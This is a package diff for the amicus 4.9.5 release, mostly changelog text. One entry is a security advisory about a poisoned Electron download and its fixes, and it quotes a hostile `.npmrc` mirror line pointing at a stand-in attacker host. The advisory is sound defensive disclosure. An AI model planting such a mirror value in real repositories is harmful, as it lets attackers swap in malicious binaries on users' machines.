amicus 4.9.3 → 4.9.5

package/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "amicus",
-  "version": "4.9.3",
+  "version": "4.9.5",
   "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
   "author": {
     "name": "Christian Wagner"

package/CHANGELOG.md

@@ -3,6 +3,330 @@
 All notable changes to Amicus are documented here. Format follows
 [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
 
+## [4.9.5] - 2026-09-07
+
+*A repository you cloned could choose which bytes became your Electron.*
+
+npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
+containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
+as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
+(`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
+redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
+passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
+all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
+Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
+
+### Security
+
+- **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
+  Four controls, each independently testable:
+  - **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
+    the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
+    **local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
+    they must match what Electron published. This is the control that breaks the chain.
+  - **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
+    `npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
+    file with the right name from any subdirectory of a cache root, with no verification of any kind.
+    A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
+    fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
+  - **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
+    `install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
+    in-process download would merely have funnelled an attacker into an unpinned downloader. Every
+    repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
+    case-insensitively, because a repo `package.json` `config` key reaches the child with its case
+    preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
+    that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
+  - **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
+    "invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
+    re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
+    `UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
+    than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
+    exists for, and a test pins the distinction.
+
+  The digest anchor is read from the **running amicus's own** Electron package in preference to the
+  directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
+  directory found by scanning npx caches, and reading the digest out of the same directory the bytes
+  came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
+  bytes reading `POISONED-BYTES`.
+
+  One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
+  case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
+  cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
+  re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
+  repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
+
+- **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
+  control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
+  come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
+  npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
+  verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
+  still not fenced, and the extractor still reports success when any file lands. And where **no**
+  published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
+  metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
+  extracted and marked `unverified` rather than refused, because refusing would strand every older
+  Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
+
+### Fixed
+
+- **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
+  `@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
+  targeted update of exactly those two packages and their own closure — five lockfile entries — rather
+  than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
+  including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
+  any release and is addressed by the trust work above instead of by a bump.
+- **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
+  probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
+  council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
+  matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
+  backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
+  production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
+- **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
+  tarball and they are a factual claim about the current version, but they were updated in the
+  post-ship pass, which runs *after* the tag — so every published package has named the previous
+  release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
+
+## [4.9.4] - 2026-09-07
+
+*The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
+
+Every `--thinking <level>` Amicus has ever sent went out as a `reasoning` object the engine's prompt
+endpoint does not read — a silent no-op on every run since the flag existed, measured on the wire
+(probe F1). It now goes out as the engine's `variant` field, checked first against what the engine's
+own catalogue declares for the model, so a level the model does not declare is refused before
+anything is sent instead of being dropped in silence. Beside it, `outputBudget` becomes
+bidirectional and reaches every route but the direct `openai` one, whose request carries no
+output-limit field at all; direct-provider rows gain real context and ceiling numbers from
+models.dev; and the death that opened #218 — a leg that spends its whole reservation on reasoning
+and finalizes with no answer text — is named `OUTPUT_LENGTH` rather than passing as a completion
+with an empty summary. Every claim here was measured by a zero-spend wire probe that plays the
+provider, so the pinned engine's outbound fields can be read under each shape Amicus can produce.
+
+### Added
+
+- **Direct-provider output ceilings (#218 P3).** `amicus models --refresh` now fills
+  `contextLength` / `maxOutputTokens` for any `anthropic`, `openai`, `google`, `deepseek` or
+  `openrouter` row still missing a number, from the keyless [models.dev](https://models.dev)
+  index, and lifts Google's own `outputTokenLimit` first-party. The provider's own number
+  always wins — Google's own ceiling and OpenRouter's own value included; models.dev fills
+  only fields the provider left empty or unusable, never a zero, and `openrouter/openrouter/*`
+  routers and local rows are never filled at all. The models.dev call is keyless, bounded by a
+  10 s timeout, and its failure is reported on the refresh line rather than hidden — including
+  a 200 that parses but carries no recognised vendor limits, which is a `bad-shape` failure
+  and not a silent no-op. It is also skippable both ways: a refresh where every candidate row
+  already carries both numbers never makes the call at all, and the new top-level `config.json`
+  key **`modelsDevCeilings: false`** opts out of contacting models.dev entirely (the anthropic /
+  deepseek direct rows then carry no ceiling in the Amicus catalog and are clamped by the engine's
+  own catalog instead, and the direct openai rows send no output reservation at all regardless
+  — M5/M13/M22; Google publishes its own ceiling and OpenRouter rows keep OpenRouter's). The
+  refresh prints the outcome (`Ceilings: …`), naming which of those happened, and `--json`
+  carries it as `ceilingEnrichment`. Effect: no request changes with `outputBudget` unset;
+  direct-provider rows now carry context and ceiling numbers (visible in `amicus models`), and
+  `outputBudget` can clamp the direct `google` / `deepseek` routes once the catalog is refreshed
+  — which 4.9.3 documented as impossible because those lists "don't publish one". The direct
+  `openai` route is the exception, measured in PR 4 (probe M5/M13/M22): the engine drives that
+  provider through the Responses API, whose request carries no output-limit field at all, so
+  neither the descriptor nor the flag changes what goes out there and a budget never reaches it;
+  `doctor` lists such routes apart. Direct `anthropic/*` was held out of clamping by the council
+  review of PR #230 until the thinking-budget interaction was measured; PR 2 measured it and
+  lifted the hold-out — see the next bullet.
+- **`outputBudget` now works in both directions (#218 PR 2).** A budget above the engine's 32,000
+  default is honoured: Amicus starts every engine with `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX` set to
+  the budget — around the spawn only, restored before anything is awaited, never written to the
+  caller's shell; a value you exported yourself is honoured untouched when no budget is set — so
+  every leg reserves `min(budget, ceiling)` wherever a ceiling is known (every leg but a direct
+  `openai` one — that route carries no reservation field, see the previous bullet), by the Amicus
+  catalog through the per-model descriptor or else by the engine's own, and a model neither knows
+  receives the budget as-is, exactly as it received the raw 32,000 before. Direct `anthropic/*`
+  routes are no longer held out: the probe measured the descriptor lowering the reservation there
+  (K1), a thinking variant's budget added on top (K2: 8,000 + 16,000 = 24,000) and the sum clamped
+  to the model's real ceiling (K3/K4/K10), so no budget can push a thinking leg over it. Thirteen
+  new probe rows (K1–K13) pin every shape this ships, and the full 32-case matrix is filed in the
+  BACKLOG. New `doctor` row **`output-budget`** says what the value reaches — routes the catalog can
+  clamp, routes it cannot, an ambient flag honoured or overridden — and flags the one silent failure
+  the engine has here: a malformed budget or flag, on which it falls back to 32,000 without a word.
+- **`scripts/probe-max-tokens.js`.** A zero-spend wire probe: a local capture server plays the
+  provider so the pinned engine's outbound `max_tokens` / `reasoning` / `thinking` fields can be
+  read under every descriptor, env-flag and prompt shape amicus can produce. Re-run after every
+  engine bump.
+- **The "Mode 2" death is named (#218 PR 3).** A leg whose provider stopped at the `max_tokens`
+  reservation before any answer text on the message it finalized — the whole reservation spent on
+  reasoning; a tool loop's earlier text or promoted reasoning does not count — now ends `error`
+  with a reason starting `OUTPUT_LENGTH:` that carries the engine's own reasoning/output counts for
+  the leg and the `outputBudget` in force (or the ambient `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX`
+  the engine was started with, when no budget is set), and the poll loop exits the moment the engine
+  finalizes such a message instead of waiting out the no-output backstop. The engine records `finish`
+  on the finalized assistant message (measured on both provider families for a length stop); it now
+  rides every leg document (`metadata.json`, `run.json`, the wave doc), the spend-ledger row
+  (`finish`, present only when recorded) and solo session metadata. A review that was cut at the
+  reservation but still answered is kept, announced as a `Note:` on the new `output-truncated` channel
+  (`kind: "info"` — never a loss, never an exit-code change), and marked as cut in its chair-packet
+  header. Five probe rows (L1–L5) measured the shapes: `finish: 'length'` on both provider families;
+  reasoning subtracted from completion on OpenAI-compatible routes but no split on direct Anthropic;
+  a `reasoning` part and no `text` part when the reasoning was visible; and a descriptor above the
+  engine's own ceiling clamped to that ceiling with no thinking variant in play. The probe's capture
+  server now answers with a per-case body and speaks the Anthropic messages SSE, so the direct rows
+  record the assistant message instead of an APIError; the full 37-case matrix is filed in the
+  BACKLOG.
+- **`--thinking` reaches the engine (#218 PR 4).** Every `--thinking <level>` amicus ever sent went
+  out as a `reasoning` object the engine's prompt endpoint does not read — a silent no-op on every
+  run (probe F1). It now goes out as the engine's `variant` field (F2, M1, M12), and it is checked
+  first against what the engine's own catalogue declares for the model (`/config/providers`): a
+  level the model does not declare is refused before anything is sent (`VARIANT_UNDECLARED`, naming
+  the declared set — the engine would have dropped it silently and still echoed it on the message,
+  F3/M7); a declared level whose thinking budget the direct Anthropic route adds on top of the
+  reservation (Haiku 4.5 — M2: 24,000 + 16,000 = 40,000; Opus 4.5 declares the same shape, M0) is
+  refused when `outputBudget` is below the model's ceiling, and also when no ceiling is declared
+  anywhere — there the sum has no clamp to land under (`VARIANT_OVER_BUDGET`, with the reservation
+  the leg would have made and the remedies for each case); a model the engine's catalogue does not
+  know within a five-second wait — its bundled catalogue predates the model and the models.dev fetch
+  has not landed yet, the state of a cold `~/.cache/opencode` (M0 cold vs M12 warm) — gets the level
+  unverified, logged and marked `variantUnverified: true` on the leg document. The same note is
+  printed as a `Notice:` line on stderr, because the structured warning alone is dropped at the
+  default log level. Whether a level counts as declared does not depend on `outputBudget` — the
+  `VARIANT_OVER_BUDGET` fit above is the only refusal a budget can add: `/config/providers` returns a
+  model's row with the catalogue's own release date, family, display name, pricing, capabilities and
+  variants, and Amicus writes only `limit` into it, so a row carrying any of those is a
+  declaration (an empty variants set is a refusal) and a row carrying none of them is Amicus's own
+  descriptor (unknown — the bounded wait, then an unverified send). That dump is the engine's MERGED
+  view of its own catalogue and your `opencode.json`, so model metadata you declare yourself reads as
+  a declaration too. Measured as record M23 and
+  pinned by a keyless engine canary. The wait polls every 500 ms. The ceiling that
+  `VARIANT_OVER_BUDGET` fit judges against is Amicus's own catalog's row for
+  the model — its `maxOutputTokens`, the number a budget-derived descriptor is clamped TO, not the
+  value that descriptor carries — because the engine echoes that descriptor back once a budget is
+  set (M3); for a model that catalog has no row for it is the dump's own value, the engine's own
+  ceiling (K5/K12). `docs/configuration.md` records what a divergence from the engine's own ceiling
+  costs in each direction: a row above it can refuse a leg the engine would have clamped under the
+  budget, and a row below it goes silent on one it never judged. A refusal is a zero-spend leg death
+  through the usual channel (`error` with the reason; a fanout's other legs run; `start --no-ui`
+  exits 1). The MCP `amicus_start` tool's in-process (shared-server) path carries the level too —
+  its `thinking` had been argv-only, which that path never read. A backstop window that fires while
+  a leg is still inside its declaration wait (bounded at five seconds; one read on a warm, declared
+  model) ends the leg `NO_OUTPUT_BACKSTOP` before anything is sent (an abandon signal stops the
+  orphaned send); an unreadable `/config/providers` (a non-2xx, or a read that throws — a transport
+  error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
+  joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
+  curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
+  spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
+  rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
+  ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
+  M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
+  decision).
+
+### Changed
+
+- **A configured `outputBudget` no longer weakens the `--thinking` guard (#218 PR 4, council #235
+  round 3 C1/B1).** Earlier on this unreleased branch, a model whose `/config/providers` row
+  reported no variants was, *with a budget set*, polled for five seconds, reported ambiguous and
+  then sent the level unverified — while the same command with no budget refused it at once. What
+  flips: a model the engine's own catalogue supplied that declares no variants (`openai/gpt-4o`, and
+  the shipped aliases `minimax`, `qwen-coder`, `qwen-flash`) is now refused before anything is sent
+  when a budget is set, exactly as it already was without one — and the five-second wait disappears
+  with it, so a 12-leg fanout on such a model no longer burns 12 × 5 s before failing. What stops
+  being sent is a level nobody could ever use: probe F3/M7 measured an undeclared variant as a
+  certain no-op on the wire, echoed back on the assistant message. The no-budget path is unchanged
+  except for four zero-context openai image rows (`chatgpt-image-latest`, `gpt-image-1.5`,
+  `gpt-image-1-mini`, `gpt-image-2`), which are now refused rather than silently no-op'd. A model
+  the engine has NOT learned yet is unchanged bit for bit: the bounded wait, then an unverified send
+  with `variantUnverified: true` and the `Notice:` line. Under a budget, a stale bundled catalogue
+  can now refuse a level the next run accepts — the refusal says so. The `ambiguous` key is gone
+  from `sentVariant` (it existed only on this unreleased branch, in no schema or document). C1 is
+  not fully closed: its second clause — a genuinely cold direct-Anthropic model with an
+  `enabled + budgetTokens` entry still sending `24,000 + 16,000 = 40,000` marked only
+  `variantUnverified: true` — survives, because N exists only in the post-spawn dump; the filed
+  pre-spawn fit (descriptor = budget − N, proven M17) is the answer and is not built here.
+- **`outputBudget` below 32,000 now reaches every leg but a direct `openai` one (#218 PR 2; the
+  openai exception measured in PR 4, M5/M13/M22).** On 4.9.3 a budget applied only to routes whose
+  ceiling the catalog knew; rows it could not clamp kept the engine's 32,000. The engine flag now
+  carries the budget to those rows too — clamped by the engine's own catalog where it knows the
+  model (K5, K12), as-is on a model it does not (J2, K13). A user who set `outputBudget: 8000` on
+  4.9.3 sees those rows reserve 8,000 after upgrading — except a direct `openai` route, which
+  carries no reservation field at all. A model neither catalog knows receives a raised budget as-is
+  and may be refused by a provider that enforces its ceiling — loudly; `doctor`'s `output-budget`
+  row names such routes.
+- **A length-stopped leg with no answer text is an error, not a completion (#218 PR 3).** On 4.9.3
+  such a leg ended `complete` with an empty summary (a council dropped it as "ended 'complete' with
+  no usable output"; `amicus start --no-ui` exited 0 with "No Output") or, when the provider streamed
+  its reasoning, `complete` with the *thinking* as the review — adjudicated as one. It now ends
+  `error` with the `OUTPUT_LENGTH:` reason — decided on the message the engine finalized, so a tool
+  loop's earlier text neither hides the death nor, once promoted reasoning is replaced by the
+  answer, pollutes a kept review — and a council treats it as any other dead leg: the once-only
+  Stage-1 retry fires and the run degrades if the retry dies too. For the no-output shape that retry
+  is unchanged from 4.9.3; for the promoted-thinking shape it is new — 4.9.3 counted that leg as a
+  review and never retried it, so such a seat now bills one more reservation. `start --no-ui` exits
+  1 with the reason. The ledger row for such a leg reads `status: "error"` where it read `complete`.
+- **A `--thinking` level the model does not declare is refused, not adjusted (#218 PR 4).** On 4.9.3
+  the CLI rewrote `minimal` to `low` and any other unsupported level to `medium` from a static
+  per-model table (gpt-5 "without minimal", gemini "with everything") with a warning, then sent the
+  result as a field the engine never read; the table is gone (a static guess that the engine's
+  catalogue confirms on one row and contradicts on the other: both exclude `minimal` for gpt-5,
+  while the table gave gemini `none` and `xhigh` and gemini-3.6-flash declares neither — M0), the
+  CLI checks only the vocabulary, and the model's own declaration decides at send time. Solo session
+  metadata records `thinking` only when one was requested — it used to record `medium` for every
+  run, including runs that sent nothing. That stamp landed on EVERY session's metadata, **a fanout
+  leg's included**, so a pack saved with `pack save --from-run` on 4.9.3 or earlier copied that
+  `medium` into its `options.thinking` on **fanout packs as well as solo ones** — where it then
+  applies to every seat of the bench at once. Such a pack now SENDS it: refused on every model that
+  does not declare `medium` (kimi-k3, Haiku 4.5, deepseek-v4-pro among the curated routes), and on
+  a model that DOES declare it the level really goes out — so a pack that was inert can now change
+  a run's cost and behaviour. Delete the key or re-save the pack from a run that requested a level.
+  MCP `thinking` parameters no longer claim "Default: medium": omitted means nothing is sent and the provider's
+  default effort governs (on the direct OpenAI route the engine sends `medium` itself, M13). The one
+  case the removal makes worse is the row the table got right: `--thinking minimal` on a gpt-5 route
+  used to be rewritten to `low`, a level the engine really declares, and is now refused — loudly,
+  before anything is sent, which is the trade this release makes deliberately.
+- `src/utils/http-get.js` now owns the always-resolves HTTPS GET that `model-fetcher.js` carried
+  inline; the failure vocabulary (`timeout` / `http-status` / `network-error` / `parse-error`) gains
+  one reason, `too-large`. A response-stream error mid-body and a synchronous throw from `https.get`
+  (a URL it cannot parse) now resolve as `network-error` instead of escaping the promise. Redirects
+  are opt-in per call (`followRedirects`, default off, so the keyed provider fetches are unchanged
+  and a 3xx stays their terminal `http-status` failure); with it on, up to two `https` redirects are
+  followed under one deadline for the whole chain, and a cross-origin hop carries only an allowlist
+  of headers (`user-agent`, `accept`, `accept-language`) so no credential can
+  follow a `Location` to another host. A redirect to a non-`https` target, one with no `Location`,
+  and a third hop are each an `http-status` failure whose `detail` names which, and every one of
+  those refusals releases the connection — the response is retired and the live request destroyed —
+  so a refused 3xx whose body never ends cannot hold the socket open after the promise has settled. Response bodies are capped at 16 MiB
+  (`maxBytes`); an over-size body is destroyed and reported as `too-large` rather than accumulated.
+- CI council bench: `deepseek` moves from `deepseek-v4-pro` to `deepseek-v4-flash-0731` — 1.3M context
+  (was 1M), input ~$0.05/M and output ~$0.10/M on OpenRouter (was ~$0.69/M and ~$1.38/M), output
+  ceiling 131,072 (was 384,000). Bench-only; the shipped alias table is unchanged. The alias-shadow
+  notice now names `deepseek` beside `qwen` as a bench pin that differs from the shipped one.
+- **`amicus continue` / `amicus resume` reject `--thinking` instead of ignoring it (#218 PR 4).**
+  The flag parses on every command (the unknown-flag gate is built from the whole usage string), but
+  neither handler ever read it and the vocabulary check runs only on `start` — so a level typed on a
+  continuation, valid or not, used to exit 0 having done nothing. Both now fail with `BAD_ARGS`
+  naming where the level belongs, the same way `--tag` already does. Each also prints a stderr
+  `Notice:` when the session being reopened records a level, naming it and saying the leg runs at
+  the provider's default — worded as what the metadata RECORDS, since 4.9.3 and earlier stamped
+  `medium` on every session typed or not, so an older session's `medium` may be that stamp rather
+  than a request. Forwarding a level on `continue` is filed, not built.
+
+### Fixed
+
+- **The curated `qwen` alias pointed at a model OpenRouter no longer lists.** Between 2026-09-04 and
+  2026-09-05 both OpenRouter and models.dev renamed `qwen/qwen3.8-max` to `qwen/qwen3.8-max-0902`;
+  the #218 PR 2 probe run caught it (a variant sent for the old id went silent, and its ceiling read
+  `0/0`). The pin now names the dated id. Found and fixed in PR #231; the CI bench map already
+  pinned `qwen3.8-27b` and is unchanged.
+- **`startServer` read `config.json` twice for one budget.** The per-model descriptor and the engine
+  flag each called `loadConfig()`; a config write between the two reads could hand the engine a
+  descriptor from one budget and a flag from another (bounded — the engine takes the smaller — but
+  split). One read now feeds both (#218 PR 3).
+- **CI council read its alias map from the PR's frozen base sha.** `council-review.yml` provisioned
+  `.github/amicus-ci-aliases.json` from `github.event.pull_request.base.sha`, which GitHub fixes at
+  PR creation — so a bench change merged to `main` afterwards never reached an open PR (PR #232's
+  round 3 still reviewed with the pre-#233 map). The map is now read from the base branch name,
+  which resolves to its current tip on every run; still never the PR head.
+- **A cancelled council run discarded its spend receipt (#220).** The receipt step was gated on
+  `!cancelled()`, so the one path where the cost is least visible — a superseded or hand-cancelled
+  run — recorded nothing at all, though the legs it had launched still billed. The receipt now runs
+  on `always()`, and a ledger-only artifact fires ahead of it on the cancelled path so the smallest
+  upload takes the first claim on the runner's bounded post-cancellation grace; the full evidence
+  upload stays `!cancelled()`, because a truncated artifact is worse than none. It is best-effort by
+  construction and the step now says so rather than promising a record, and a test pins the
+  workflow's ledger path against the engine's own.
+
 ## [4.9.3] - 2026-08-28
 
 *Doctor stops vouching for things it never checked.*

package/README.md

@@ -455,7 +455,7 @@ $ amicus status demo123 --json
   "taskId": "demo123",
   "status": "complete",
   "elapsed": "5m 0s",
-  "version": "4.9.3",
+  "version": "4.9.5",
   "model": "google/gemini-2.5-flash",
   "phase": "terminal"
 }

package/docs/ROADMAP.md

@@ -13,11 +13,14 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
 Nothing about the content changed and no judgment about its value is implied; only its status. When
 an org buyer and the org to support them exist, it earns a number then.
 
-Amicus is at **v4.9.0** (2026-08-26). Each 4.x rev below leads with the benefit, not the
-plumbing.
-
-**Status:** v4.0 through **v4.9.0** have **shipped** — everything on this page is a record of what
-landed, not a plan. Composition — the scope that
+Amicus is at **v4.9.5** (2026-09-07). Each 4.x rev below leads with the benefit, not the
+plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
+defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
+`output-budget` doctor row, v4.9.5's Electron digest gate) it did so to make an existing promise
+true, not to widen it. See `CHANGELOG.md` for what each one contained.
+
+**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.5 patch releases —
+everything on this page is a record of what landed, not a plan. Composition — the scope that
 carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
 release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section
 below (dropped from v4.7, 2026-08-05); its contents are decided at kickoff per the anti-rot rule,